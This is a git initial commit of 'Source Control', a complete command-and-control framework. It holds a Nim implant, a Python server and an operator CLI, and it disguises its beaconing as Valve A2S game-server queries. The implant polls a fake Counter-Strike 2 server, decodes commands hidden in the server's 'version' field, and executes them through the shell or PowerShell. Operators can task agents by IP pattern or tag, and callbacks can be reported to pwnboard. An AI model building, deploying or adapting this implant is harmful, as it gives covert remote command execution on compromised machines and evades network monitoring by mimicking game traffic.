Initial commit
This commit is contained in:
commit
fc22980f85
24
README.md
Normal file
24
README.md
Normal file
@ -0,0 +1,24 @@
|
||||
# Source Control
|
||||
A C2 server that uses the [A2S query protocol](https://developer.valvesoftware.com/wiki/Server_queries)
|
||||
|
||||
## Building the client
|
||||
If it's not already installed, install [Nim](https://nim-lang.org/install.html)
|
||||
|
||||
Then compile:
|
||||
```bash
|
||||
nim c -d:release client/main.nim # Will output to client/main
|
||||
```
|
||||
|
||||
## Running the server
|
||||
- In `server/`, modify `config.yml` as needed
|
||||
|
||||
- Install the requirements: `pip install -r requirements.txt`
|
||||
|
||||
- Then you can run the server: `python3 source-control.py`
|
||||
|
||||
## Using the CLI
|
||||
- In `cli/`, modify `config.yml` as needed
|
||||
|
||||
- Install the requirements: `pip install -r requirements.txt`
|
||||
|
||||
- Then you can run the CLI: `python3 cli.py`
|
||||
251
cli/cli.py
Normal file
251
cli/cli.py
Normal file
@ -0,0 +1,251 @@
|
||||
import peewee
|
||||
import yaml
|
||||
from rich.table import Table
|
||||
from rich.console import Console
|
||||
from datetime import datetime
|
||||
import time
|
||||
|
||||
with open('config.yml', 'r') as config_file:
|
||||
config = yaml.safe_load(config_file)
|
||||
|
||||
if config['database'] == 'postgresql':
|
||||
db = peewee.PostgresqlDatabase(config['postgresql']['db_name'], user=config['postgresql']['user'], host=config['postgresql']['host'], password=config['postgresql']['password'])
|
||||
else:
|
||||
db = peewee.SqliteDatabase(config['sqlite']['db_path'], pragmas={'journal_mode': 'wal'})
|
||||
|
||||
class Task(peewee.Model):
|
||||
id = peewee.BigIntegerField(primary_key=True, unique=True, null=False)
|
||||
agent_ip = peewee.CharField(null=False)
|
||||
task = peewee.CharField(null=False)
|
||||
completed = peewee.BigIntegerField(default=0, null=False)
|
||||
|
||||
class Meta:
|
||||
database = db
|
||||
db_table = 'tasks'
|
||||
|
||||
class Agent(peewee.Model):
|
||||
ip = peewee.CharField(null=False)
|
||||
checkins = peewee.BigIntegerField(default=0, null=False)
|
||||
last_checkin = peewee.BigIntegerField(null=False)
|
||||
tasks_sent = peewee.BigIntegerField(default=0, null=False)
|
||||
tags = peewee.CharField(null=False, default='')
|
||||
|
||||
class Meta:
|
||||
database = db
|
||||
db_table = 'agents'
|
||||
|
||||
class Colors:
|
||||
RESET = '\033[0m'
|
||||
BLUE = '\033[94m'
|
||||
RED = '\033[91m'
|
||||
CYAN = '\033[96m'
|
||||
GREEN = '\033[92m'
|
||||
YELLOW = '\033[93m'
|
||||
|
||||
def print_banner() -> None:
|
||||
print(f'''
|
||||
{Colors.YELLOW}())))))))))))))))()){Colors.RESET}
|
||||
{Colors.YELLOW}()))))))))))))))))))))))(){Colors.RESET}
|
||||
{Colors.YELLOW}())))) )))))))))))))))){Colors.RESET}
|
||||
.d88888b a88888b. dP dP {Colors.YELLOW})))))))))))){Colors.RESET}
|
||||
88. "' d8' `88 88 88 {Colors.YELLOW}))))))))){Colors.RESET}
|
||||
`Y88888b. .d8888b. dP dP 88d888b. .d8888b. .d8888b. 88 .d8888b. 88d888b. d8888P 88d888b. .d8888b. 88 {Colors.YELLOW})))))))){Colors.RESET}
|
||||
`8b 88' `88 88 88 88' `88 88' `"" 88ooood8 88 88' `88 88' `88 88 88' `88 88' `88 88 {Colors.YELLOW})))))/{Colors.RESET}
|
||||
d8' .8P 88. .88 88. .88 88 88. ... 88. ... Y8. .88 88. .88 88 88 88 88 88. .88 88 {Colors.YELLOW}))))/{Colors.RESET}
|
||||
Y88888P `88888P' `88888P' dP `88888P' `88888P' Y88888P' `88888P' dP dP dP dP `88888P' dP {Colors.YELLOW}))))/{Colors.RESET}
|
||||
{Colors.YELLOW})))({Colors.RESET}
|
||||
Welcome to {Colors.YELLOW}Source Control{Colors.RESET} CLI {Colors.YELLOW}())))){Colors.RESET}
|
||||
Use `{Colors.YELLOW}help{Colors.RESET}` for a list of commands
|
||||
''')
|
||||
|
||||
def print_help() -> None:
|
||||
print(f'''
|
||||
Commands:
|
||||
help - Prints this menu
|
||||
|
||||
agents - List all agents
|
||||
agents {Colors.YELLOW}<tag>{Colors.RESET} - List all agents with tag {Colors.YELLOW}<tag>{Colors.RESET}
|
||||
agents {Colors.YELLOW}<IP>{Colors.RESET} - Get details about the agent with IP {Colors.YELLOW}<IP>{Colors.RESET}
|
||||
|
||||
stats - Prints statistics about the agents
|
||||
|
||||
command {Colors.YELLOW}<IP|tag> <command>{Colors.RESET} - Send a command to the selected agents
|
||||
|
||||
tag {Colors.YELLOW}<IP>{Colors.RESET} {Colors.YELLOW}<tag>{Colors.RESET} - Add a tag to the selected agent (Tags cannot contain spaces or commas)
|
||||
|
||||
clear - Clear the screen
|
||||
exit - Exit the CLI
|
||||
''')
|
||||
|
||||
def print_agents() -> None:
|
||||
table = Table()
|
||||
|
||||
table.add_column('IP')
|
||||
table.add_column('Status')
|
||||
table.add_column('Checkins')
|
||||
table.add_column('Last Checkin')
|
||||
table.add_column('Tasks Sent')
|
||||
table.add_column('Tags')
|
||||
|
||||
for agent in Agent.select():
|
||||
tags_string = ''
|
||||
|
||||
for tag in agent.tags.split(','):
|
||||
if tag == 'linux':
|
||||
tags_string = tags_string + '[green]' + tag + '[/green] '
|
||||
elif tag == 'windows':
|
||||
tags_string = tags_string + '[blue]' + tag + '[/blue] '
|
||||
elif tag == 'bsd' or tag == 'pfsense':
|
||||
tags_string = tags_string + '[yellow]' + tag + '[/yellow] '
|
||||
else:
|
||||
tags_string = tags_string + tag + ' '
|
||||
|
||||
if time.time() - agent.last_checkin >= 600:
|
||||
table.add_row(agent.ip, '[red]Inactive[/red]', str(agent.checkins), str(datetime.fromtimestamp(agent.last_checkin)), str(agent.tasks_sent), tags_string)
|
||||
else:
|
||||
table.add_row(agent.ip, '[green]Active[/green]', str(agent.checkins), str(datetime.fromtimestamp(agent.last_checkin)), str(agent.tasks_sent), tags_string)
|
||||
|
||||
Console().print(table)
|
||||
|
||||
def print_agents_by_tag_or_ip(search_str: str) -> None:
|
||||
table = Table()
|
||||
|
||||
table.add_column('IP')
|
||||
table.add_column('Status')
|
||||
table.add_column('Checkins')
|
||||
table.add_column('Last Checkin')
|
||||
table.add_column('Tasks Sent')
|
||||
table.add_column('Tags')
|
||||
|
||||
for agent in Agent.select():
|
||||
tags_string = ''
|
||||
|
||||
for tag in agent.tags.split(','):
|
||||
if tag == 'linux':
|
||||
tags_string = tags_string + '[green]' + tag + '[/green] '
|
||||
elif tag == 'windows':
|
||||
tags_string = tags_string + '[blue]' + tag + '[/blue] '
|
||||
elif tag == 'bsd' or tag == 'pfsense':
|
||||
tags_string = tags_string + '[yellow]' + tag + '[/yellow] '
|
||||
else:
|
||||
tags_string = tags_string + tag + ' '
|
||||
|
||||
if search_str in agent.tags.split(',') or agent.ip == search_str:
|
||||
if time.time() - agent.last_checkin >= config['inactive_time']:
|
||||
table.add_row(agent.ip, '[red]Inactive[/red]', str(agent.checkins), str(datetime.fromtimestamp(agent.last_checkin)), str(agent.tasks_sent), tags_string)
|
||||
else:
|
||||
table.add_row(agent.ip, '[green]Active[/green]', str(agent.checkins), str(datetime.fromtimestamp(agent.last_checkin)), str(agent.tasks_sent), tags_string)
|
||||
|
||||
Console().print(table)
|
||||
|
||||
def print_status() -> None:
|
||||
total_agents = len(Agent.select())
|
||||
active_agents = len(Agent.select().where(Agent.last_checkin >= time.time() - config['inactive_time']))
|
||||
inactive_agents = len(Agent.select().where(Agent.last_checkin < time.time() - config['inactive_time']))
|
||||
total_tasks = len(Task.select())
|
||||
completed_tasks = len(Task.select().where(Task.completed == 1))
|
||||
|
||||
print(f'''
|
||||
Total Agents: {total_agents}
|
||||
Active Agents: {Colors.GREEN}{active_agents}{Colors.RESET}
|
||||
Inactive Agents: {Colors.RED}{inactive_agents}{Colors.RESET}
|
||||
Total Tasks: {total_tasks}
|
||||
Completed Tasks: {completed_tasks}
|
||||
''')
|
||||
|
||||
def ip_match(ip: str, pattern: str):
|
||||
return(all(p == '*' or x == p for x, p in zip(ip.split('.'), pattern.split('.'))))
|
||||
|
||||
def is_agent(agent_ip: str) -> bool:
|
||||
return(len(Agent.select().where(Agent.ip == agent_ip)) != 0)
|
||||
|
||||
def select_agents(search_str: str) -> list:
|
||||
agents = []
|
||||
|
||||
query = Agent.select()
|
||||
|
||||
for agent in query:
|
||||
if ip_match(agent.ip, search_str) or search_str in agent.tags:
|
||||
agents.append(agent)
|
||||
|
||||
return(agents)
|
||||
|
||||
def send_command(search_str: str, command: str) -> None:
|
||||
agents = select_agents(search_str)
|
||||
commands_sent = 0
|
||||
|
||||
for agent in agents:
|
||||
Task.create(agent_ip = agent.ip, task = command, completed = False)
|
||||
commands_sent += 1
|
||||
|
||||
print(f'Sent the command to {Colors.YELLOW}{commands_sent}{Colors.RESET} agents')
|
||||
|
||||
def add_tag(ip_pattern: str, tag: str) -> None:
|
||||
updated_agents = 0
|
||||
|
||||
for agent in Agent.select():
|
||||
if ip_match(agent.ip, ip_pattern):
|
||||
current_tags = agent.tags
|
||||
|
||||
if tag in current_tags[0].split(','):
|
||||
print(f'{Colors.YELLOW}{agent.ip}{Colors.RESET} already has the tag {Colors.YELLOW}{tag}{Colors.RESET}.')
|
||||
return
|
||||
|
||||
if current_tags[0] == '':
|
||||
Agent.update(tags=str(tag)).where(Agent.ip == agent.ip).execute()
|
||||
else:
|
||||
Agent.update(tags=Agent.tags.concat(',' + str(tag))).where(Agent.ip == agent.ip).execute()
|
||||
|
||||
updated_agents += 1
|
||||
|
||||
print(f'Tagged {Colors.YELLOW}{updated_agents}{Colors.RESET} with {Colors.YELLOW}{tag}{Colors.RESET}')
|
||||
|
||||
def main():
|
||||
if config['print_banner']:
|
||||
print_banner()
|
||||
|
||||
while True:
|
||||
try:
|
||||
user_command = input('SC> ').split(' ')
|
||||
|
||||
match user_command[0]:
|
||||
case 'help':
|
||||
print_help()
|
||||
|
||||
case 'clear':
|
||||
print('\x1b[2J\x1b[H')
|
||||
|
||||
case 'agents':
|
||||
if len(user_command) < 2:
|
||||
print_agents()
|
||||
else:
|
||||
print_agents_by_tag_or_ip(user_command[1])
|
||||
|
||||
case 'stats':
|
||||
print_status()
|
||||
|
||||
case 'command':
|
||||
if len(user_command) < 2:
|
||||
print(f'\nUsage:\n\tcommand {Colors.YELLOW}<IP|tag> <command>{Colors.RESET} - Send a command to the selected agents\n')
|
||||
else:
|
||||
send_command(user_command[1], ' '.join(user_command[2:]))
|
||||
|
||||
case 'tag':
|
||||
if len(user_command) < 3:
|
||||
print(f'\nUsage:\n\ttag {Colors.YELLOW}<IP Regex>{Colors.RESET} {Colors.YELLOW}<tag>{Colors.RESET} - Add a tag to the selected agent (Tags cannot contain spaces or commas)\n')
|
||||
else:
|
||||
if ',' in user_command[2]:
|
||||
print(f'{Colors.RED}Tags cannot contain commas.{Colors.RESET}')
|
||||
|
||||
else:
|
||||
add_tag(user_command[1], user_command[2])
|
||||
|
||||
case 'exit':
|
||||
print(f'{Colors.YELLOW}Goodbye!{Colors.RESET}')
|
||||
quit(0)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
print('')
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
18
cli/config.yml
Normal file
18
cli/config.yml
Normal file
@ -0,0 +1,18 @@
|
||||
print_banner: true
|
||||
|
||||
# How many seconds without a checkin before an agent is marked as inactive
|
||||
inactive_time: 600
|
||||
|
||||
# Options: postgresql or sqlite
|
||||
database: sqlite
|
||||
|
||||
# Only required if database = sqlite
|
||||
sqlite:
|
||||
db_path: ../server/source-ctrl.db
|
||||
|
||||
# Only required if database = postgresql
|
||||
postgresql:
|
||||
host: 127.0.0.1
|
||||
db_name: source_control
|
||||
user: sc_user
|
||||
password: password
|
||||
2
cli/requirements.txt
Normal file
2
cli/requirements.txt
Normal file
@ -0,0 +1,2 @@
|
||||
peewee
|
||||
rich
|
||||
115
client/main.nim
Normal file
115
client/main.nim
Normal file
@ -0,0 +1,115 @@
|
||||
import net
|
||||
import os
|
||||
import osproc
|
||||
import base64
|
||||
|
||||
const SERVER: string = "127.0.0.1"
|
||||
const PORT: Port = Port(27015)
|
||||
const KEY: string = "asdf"
|
||||
const CHECKING_TIME: int = 240
|
||||
|
||||
const HEADER_PADDING: string = "\xFF\xFF\xFF\xFF"
|
||||
const INFO_HEADER: string = "\x54"
|
||||
|
||||
var IP: string = $getPrimaryIPAddr()
|
||||
|
||||
type InfoResponse = object
|
||||
bots: int
|
||||
version: string
|
||||
|
||||
proc skipCString(data: string, index: int): int =
|
||||
var newIndex: int = index + 1;
|
||||
|
||||
while newIndex < data.len:
|
||||
if data[newIndex] == '\x00':
|
||||
break
|
||||
|
||||
newIndex = newIndex + 1
|
||||
|
||||
return newIndex
|
||||
|
||||
proc xorMessage(plain: string, key: string): string =
|
||||
result = newString(plain.len)
|
||||
|
||||
for i in 0 ..< plain.len:
|
||||
let plainByte = ord(plain[i])
|
||||
let keyByte = ord(key[i mod key.len])
|
||||
result[i] = chr(plainByte xor keyByte)
|
||||
|
||||
return result
|
||||
|
||||
proc sendInfoQuery(socket: Socket): void =
|
||||
var queryPayload: string = HEADER_PADDING & INFO_HEADER & "Source Engine Query" & encode(xorMessage(IP, KEY)) & "\x00"
|
||||
socket.sendTo(SERVER, PORT, queryPayload)
|
||||
|
||||
proc parseInfo(msg: string): InfoResponse =
|
||||
if msg == "":
|
||||
return
|
||||
|
||||
var i: int = 6 # Skip header and protocol
|
||||
|
||||
#Skip name, map, folder, game
|
||||
for x in 1..4:
|
||||
i = skipCString(msg, i)
|
||||
|
||||
i = i + 5 # Skip Steam app ID, players, max players
|
||||
|
||||
var bots: int
|
||||
if msg[i] == '\x00':
|
||||
bots = 0
|
||||
else:
|
||||
bots = 1
|
||||
|
||||
i = i + 5 # Skip server type, environment, visibility, VAC
|
||||
|
||||
var encVersion: string
|
||||
|
||||
while true:
|
||||
if msg[i] == '\x00':
|
||||
break
|
||||
|
||||
encVersion = encVersion & msg[i]
|
||||
i = i + 1
|
||||
|
||||
var version: string = xorMessage(decode(encVersion), KEY)
|
||||
|
||||
return InfoResponse(bots: bots, version: version)
|
||||
|
||||
proc recvResponse(socket: Socket): string =
|
||||
var message: string
|
||||
var data: string
|
||||
|
||||
while true:
|
||||
try:
|
||||
data = socket.recv(1, 1000)
|
||||
|
||||
message = message & data
|
||||
except:
|
||||
break
|
||||
|
||||
return message
|
||||
|
||||
proc main(): void =
|
||||
var socket: Socket = newSocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)
|
||||
var response: string
|
||||
var info: InfoResponse
|
||||
|
||||
while true:
|
||||
try:
|
||||
sendInfoQuery(socket)
|
||||
response = recvResponse(socket)
|
||||
info = parseInfo(response)
|
||||
|
||||
if defined(windows):
|
||||
discard execCmdEx("powershell -c " & info.version)
|
||||
else:
|
||||
discard execCmdEx(info.version)
|
||||
|
||||
except:
|
||||
discard
|
||||
|
||||
if info.bots == 0:
|
||||
sleep(CHECKING_TIME * 1000)
|
||||
|
||||
if isMainModule:
|
||||
main()
|
||||
52
server/config.yml
Normal file
52
server/config.yml
Normal file
@ -0,0 +1,52 @@
|
||||
# Address to listen on
|
||||
address: 0.0.0.0
|
||||
|
||||
# Port to listen on
|
||||
port: 27015
|
||||
|
||||
# Encryption key
|
||||
key: asdf
|
||||
|
||||
# Options: postgresql or sqlite
|
||||
database: sqlite
|
||||
|
||||
# Only required if database = sqlite
|
||||
sqlite:
|
||||
db_path: source-ctrl.db
|
||||
|
||||
# Only required if database = postgresql
|
||||
postgresql:
|
||||
host: 127.0.0.1
|
||||
db_name: source_control
|
||||
user: sc_user
|
||||
password: password
|
||||
|
||||
pwnboard:
|
||||
use_pwnboard: false
|
||||
url: https://www.pwnboard.win/
|
||||
access_token: pwnboard_api_access_token
|
||||
|
||||
# Server information to be displayed
|
||||
server:
|
||||
server_name: XPLAY.GG • CS2 DM FFA 8 • [US]
|
||||
map_name: de_dust2
|
||||
folder: csgo
|
||||
game: Counter-Strike 2
|
||||
app_id: 730
|
||||
max_players: 16
|
||||
vac: true
|
||||
dedicated: true
|
||||
platform: w # w -> Window, l -> Linux
|
||||
version: 2025.03.26
|
||||
|
||||
# Usernames of the connected players
|
||||
players:
|
||||
- Player 1
|
||||
- Player 2
|
||||
- Player 3
|
||||
|
||||
|
||||
logging:
|
||||
log_file: source-ctrl.log
|
||||
print_logs: true
|
||||
write_logs: true
|
||||
1
server/requirements.txt
Normal file
1
server/requirements.txt
Normal file
@ -0,0 +1 @@
|
||||
peewee
|
||||
5
server/source-control.py
Normal file
5
server/source-control.py
Normal file
@ -0,0 +1,5 @@
|
||||
import source_ctrl
|
||||
|
||||
if __name__ == '__main__':
|
||||
server = source_ctrl.A2Sserver(source_ctrl.config['address'], source_ctrl.config['port'])
|
||||
server.start()
|
||||
2
server/source_ctrl/__init__.py
Normal file
2
server/source_ctrl/__init__.py
Normal file
@ -0,0 +1,2 @@
|
||||
from . server import A2Sserver
|
||||
from .config import config
|
||||
4
server/source_ctrl/config.py
Normal file
4
server/source_ctrl/config.py
Normal file
@ -0,0 +1,4 @@
|
||||
import yaml
|
||||
|
||||
with open('config.yml', 'r') as config_file:
|
||||
config = yaml.safe_load(config_file)
|
||||
31
server/source_ctrl/database.py
Normal file
31
server/source_ctrl/database.py
Normal file
@ -0,0 +1,31 @@
|
||||
import peewee
|
||||
|
||||
from .config import config
|
||||
|
||||
if config['database'] == 'postgresql':
|
||||
db = peewee.PostgresqlDatabase(config['postgresql']['db_name'], user=config['postgresql']['user'], host=config['postgresql']['host'], password=config['postgresql']['password'])
|
||||
else:
|
||||
db = peewee.SqliteDatabase(config['sqlite']['db_path'], pragmas={'journal_mode': 'wal'})
|
||||
|
||||
class Task(peewee.Model):
|
||||
id = peewee.BigIntegerField(primary_key=True, unique=True, null=False)
|
||||
agent_ip = peewee.CharField(null=False)
|
||||
task = peewee.CharField(null=False)
|
||||
completed = peewee.BigIntegerField(default=0, null=False)
|
||||
|
||||
class Meta:
|
||||
database = db
|
||||
db_table = 'tasks'
|
||||
|
||||
class Agent(peewee.Model):
|
||||
ip = peewee.CharField(null=False)
|
||||
checkins = peewee.BigIntegerField(default=0, null=False)
|
||||
last_checkin = peewee.BigIntegerField(null=False)
|
||||
tasks_sent = peewee.BigIntegerField(default=0, null=False)
|
||||
tags = peewee.CharField(null=False, default='')
|
||||
|
||||
class Meta:
|
||||
database = db
|
||||
db_table = 'agents'
|
||||
|
||||
db.create_tables([Task, Agent])
|
||||
17
server/source_ctrl/logging.py
Normal file
17
server/source_ctrl/logging.py
Normal file
@ -0,0 +1,17 @@
|
||||
from .config import config
|
||||
from datetime import datetime
|
||||
|
||||
class LogLevel:
|
||||
INFO = '[INFO]'
|
||||
WARN = '[WARNING]'
|
||||
ERROR = '[ERROR]'
|
||||
|
||||
def log(level: LogLevel, message: str) -> None:
|
||||
log = f'{level} - {datetime.now().strftime("%Y-%m-%d %H:%M:%S")} - {message}\n'
|
||||
|
||||
if config['logging']['print_logs']:
|
||||
print(log, end='')
|
||||
|
||||
if config['logging']['write_logs']:
|
||||
with open(config['logging']['log_file'], 'a') as log_file:
|
||||
log_file.write(log)
|
||||
192
server/source_ctrl/server.py
Normal file
192
server/source_ctrl/server.py
Normal file
@ -0,0 +1,192 @@
|
||||
import socket
|
||||
import threading
|
||||
import struct
|
||||
import random
|
||||
import time
|
||||
from base64 import b64encode, b64decode
|
||||
|
||||
from .config import config
|
||||
from .database import Task, Agent
|
||||
from .logging import log, LogLevel
|
||||
|
||||
PADDING = b'\x00'
|
||||
|
||||
class A2Sserver:
|
||||
def __init__(self, host: str, port: int):
|
||||
self.__host = host
|
||||
self.__port = port
|
||||
|
||||
self.__server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
self.__server_socket.bind((self.__host, self.__port))
|
||||
|
||||
self.key = config['key']
|
||||
|
||||
def __update_pwnboard(self, ip: str) -> None:
|
||||
try:
|
||||
requests.post(config['pwnboard']['url'], json={'ip': ip, 'application': 'Source Control', 'type': 'a2s c2'}, headers={'Content-Type': 'application/json', 'Authorization': f'Bearer {config["pwnboard"]["access_token"]}'}, timeout=5)
|
||||
except:
|
||||
log(LogLevel.ERROR, f'Failed to report callback to PWN Board. Reason: {e}')
|
||||
|
||||
def __xor_message(self, msg: str) -> str:
|
||||
xored = ''
|
||||
|
||||
for i in range(len(msg)):
|
||||
xored += chr(ord(msg[i]) ^ ord(self.key[i % len(self.key)]))
|
||||
|
||||
return(xored)
|
||||
|
||||
def __make_info_response(self, bots: int, version: str) -> bytes:
|
||||
response = b'\xff\xff\xff\xff\x49' # Header
|
||||
|
||||
# Protocol
|
||||
response += b'\x11'
|
||||
|
||||
# Server Name
|
||||
response += config['server']['server_name'].encode('utf-8')
|
||||
response += PADDING
|
||||
|
||||
# Map name
|
||||
response += config['server']['map_name'].encode('utf-8')
|
||||
response += PADDING
|
||||
|
||||
# Folder
|
||||
response += config['server']['folder'].encode('utf-8')
|
||||
response += PADDING
|
||||
|
||||
# Game
|
||||
response += config['server']['game'].encode('utf-8')
|
||||
response += PADDING
|
||||
|
||||
# Game ID
|
||||
response += (int(config['server']['app_id'])).to_bytes(2, 'little')
|
||||
|
||||
# Playercount
|
||||
response += (len(config['server']['players'])).to_bytes(1, 'little')
|
||||
|
||||
|
||||
# Max playercount
|
||||
response += (int(config['server']['max_players'])).to_bytes(1, 'little')
|
||||
|
||||
# Bot count
|
||||
response += bots.to_bytes(1, 'little')
|
||||
|
||||
# Server type
|
||||
if config['server']['dedicated'] == True:
|
||||
response += 'd'.encode('utf-8')
|
||||
else:
|
||||
response += 'l'.encode('utf-8')
|
||||
|
||||
# Platform
|
||||
response += config['server']['platform'].encode('utf-8')
|
||||
|
||||
# Visibility
|
||||
response += b'\x00'
|
||||
|
||||
# VAC
|
||||
if config['server']['vac'] == True:
|
||||
response += b'\x01'
|
||||
else:
|
||||
response += b'\x00'
|
||||
|
||||
# Version
|
||||
response += b64encode(self.__xor_message(version).encode('utf-8'))
|
||||
response += PADDING
|
||||
|
||||
return(response)
|
||||
|
||||
def __make_player_response(self) -> bytes:
|
||||
response = b'\xff\xff\xff\xff\x44'
|
||||
|
||||
# Playercount
|
||||
response += (len(config['server']['players'])).to_bytes(1, 'little')
|
||||
|
||||
# Player list
|
||||
for i in range(len(config['server']['players'])):
|
||||
# Player index
|
||||
response += (i).to_bytes(1, 'little')
|
||||
|
||||
# Player name
|
||||
response += config['server']['players'][i].encode('utf-8')
|
||||
response += PADDING
|
||||
|
||||
# Frags
|
||||
response += (random.randint(0, 50)).to_bytes(4, 'little')
|
||||
|
||||
# Duration
|
||||
response += (random.randint(0, 1000)).to_bytes(4, 'little')
|
||||
|
||||
return(response)
|
||||
|
||||
def __get_agent_ip(self, msg: bytes) -> str:
|
||||
return(self.__xor_message(b64decode(msg[24:-1]).decode('utf-8')))
|
||||
|
||||
def __client_handler(self, address: tuple, msg: bytes) -> None:
|
||||
log(LogLevel.INFO, f'Connection from {address[0]}:{address[1]} with message: {msg}')
|
||||
|
||||
try:
|
||||
ip = self.__get_agent_ip(msg)
|
||||
|
||||
if ip == '' or ip == ' ' or ip == None:
|
||||
# The client might not be a Source Control agent, send a normal response
|
||||
match msg[4]:
|
||||
case 84: # A2S_INFO
|
||||
self.__server_socket.sendto(self.__make_info_response(0, config['server']['version']), address)
|
||||
|
||||
case 85: # A2S_PLAYER
|
||||
self.__server_socket.sendto(self.__make_player_response(), address)
|
||||
|
||||
case 86: # A2S_RULES
|
||||
self.__server_socket.sendto(b'\xff\xff\xff\xff\x45\x00\x00\x00', address) # Send empty rules
|
||||
|
||||
return
|
||||
|
||||
# What type of query is this?
|
||||
match msg[4]:
|
||||
case 84: # A2S_INFO
|
||||
|
||||
# Do we already have the agent?
|
||||
if len(Agent.select().where(Agent.ip == ip).dicts()) == 0:
|
||||
Agent.create(ip=ip, checkins=0, last_checkin=time.time(), tasks_sent=0, tags='') # Add them
|
||||
|
||||
# Add the checkin
|
||||
Agent.update(checkins=Agent.checkins + 1).where(Agent.ip == ip).execute()
|
||||
|
||||
# Update their last checkin
|
||||
Agent.update(last_checkin=time.time()).where(Agent.ip == ip).execute()
|
||||
|
||||
# Get the agnet's open tasks
|
||||
open_tasks = Task.select().where(Task.agent_ip == ip, Task.completed == 0).dicts()
|
||||
|
||||
if len(open_tasks) == 0:
|
||||
version = config['server']['version']
|
||||
else:
|
||||
version = open_tasks[0]['task']
|
||||
|
||||
# Send the info response
|
||||
self.__server_socket.sendto(self.__make_info_response(len(open_tasks), version), address)
|
||||
|
||||
if len(open_tasks) != 0:
|
||||
# Mark the task as completed
|
||||
Task.update(completed = 1).where(Task.id == open_tasks[0]['id']).execute()
|
||||
|
||||
if config['pwnboard']['use_pwnboard'] == True:
|
||||
self.__update_pwnboard(ip)
|
||||
|
||||
case 85: # A2S_PLAYER
|
||||
self.__server_socket.sendto(self.__make_player_response(), address)
|
||||
|
||||
case 86: # A2S_RULES
|
||||
self.__server_socket.sendto(b'\xff\xff\xff\xff\x45\x00\x00\x00', address) # Send empty rules
|
||||
|
||||
except Exception as e:
|
||||
log(LogLevel.ERROR, f'Failed to create response for {address[0]}:{address[1]}. Reason: {e}')
|
||||
|
||||
def start(self) -> None:
|
||||
while True:
|
||||
try:
|
||||
msg, address = self.__server_socket.recvfrom(1024)
|
||||
|
||||
client = threading.Thread(target=self.__client_handler, args=(address,msg))
|
||||
client.start()
|
||||
except Exception as e:
|
||||
log(LogLevel.ERROR, f'Failed to accept to connection from {address[0]}:{address[1]}. Reason: {e}')
|
||||
Loading…
x
Reference in New Issue
Block a user